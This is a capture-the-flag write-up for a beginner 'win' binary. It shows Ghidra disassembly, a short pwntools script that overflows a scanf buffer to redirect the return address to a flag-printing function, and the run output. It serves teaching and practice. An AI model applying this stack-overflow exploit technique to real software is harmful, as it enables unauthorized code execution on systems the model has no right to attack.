

## **Contents**

Information Gathering	2	
Ghidra	2	
Creating the Exploit	3	
Python Script	3	
Flag	3	
Conclusion	3	
References	4	

## **Information Gathering**

#### Ghidra

After decompiling the binary, we can see that the vulnerability is in the read\_in function.

Figure 1: Read\_In Function

The right side shows how scanf is used to overflow buf which can only hold 44 bytes. On the left side, we can see the buf variable is at an offset of 0x38 bytes.

We can also see the win function right above the read\_in function!

```
void __cdecl win(void)
                                 <RFTURN>
    void
                    <VOTD>
                    Stack[-0x8]:4 local_8
                                                                    XREF[1]:
    undefined4
                                                                               08049elf(R)
                                                             XREF[2]: Entry Point(*), 080ec018(*)
                 win
08049df5 f3 Of le fb
                     ENDBR32
08049df9 55
                     PUSH
08049dfa 89 e5
                     MOV
                               EBP, ESP
08049dfc 53
                     PUSH
                               EBX
08049dfd 83 ec 04
08049e00 e8 d6 00
                     CALL
                               __x86.get_pc_thunk.ax
                                                                           undefined __x86.get_pc_thunk.ax()
       00 00
08049e05 05 fb bl
                     ADD
                               EAX, 0xbb1fb
       0b 00
08049e0a 83 ec 0c
                     SUR
                                ESP, 0xc
08049e0d 8d 90 08
                     LEA
                               EDX, [EAX + 0xfffcb008] => s_cat_flag.txt_080d0008 = "cat_flag.txt"
       b0 fc ff
08049el3 52
                     PUSH
                               EDX=>s_cat_flag.txt_080d0008
                                                                           = "cat flag.txt"
08049e14 89 c3
                     MOV
                               EBX.EAX
08049el6 e8 a5 79
                     CALL
                               system
                                                                           int system(char * __command)
       00 00
08049elb 83 c4 10
                     ADD
                               ESP. 0x10
08049ele 90
                     NOP
08049elf 8b 5d fc
                     MOV
                               EBX, dword ptr [EBP + local 8]
08049e22 c9
                     LEAVE
08049e23 c3
                     RET
                  * FUNCTION
                  ************************
                  void __cdecl read_in(void)
                    undefined4
                                                                    XREF[1]:
                                                                                08049e52(R)
    char[44]
                    Stack[-0x38]... buf
                                                                    XREF[1]:
                                                                               08049e3c(*)
                                                                     Entry Point(*), main:08049eb5(c),
                  read_in
                                                             XREF[3]:
                                                                        080ec03c(*)
```

Figure 2: Win Function

It looks like the win function is at an address of 0x08049df5.

## **Creating the Exploit**

This exploit will be simple, we overwrite the instruction pointer to point to the address of the win function, which will print the flag.

#### **Python Script**

```
from pwn import *

from pwn import *

offset = 0x38* b'A' #offset found in Ghidra

p = process('./win') #create variable p for process interaction

win = p32(0x08049df5) #found win function at this address, packed it with 32bit package

payload = offset + win

p.sendline(payload)

p.interactive()
```

### Flag

```
lilbits@ubuntu:~/Documents/Challenges/Pwn/Win$ python3 exploit.py
[+] Starting local process './win': pid 13711
[*] Switching to interactive mode
Can you figure out how to win here?
you got the flag!
[*] Got EOF while reading in interactive
```

Figure 3: Flag

Our exploit works!

#### Conclusion

Learning how the stack can be exploited by a buffer overflow attack and how to overwrite the instruction pointer was important to solving this challenge.

# References

1. https://guyinatuxedo.github.io/index.html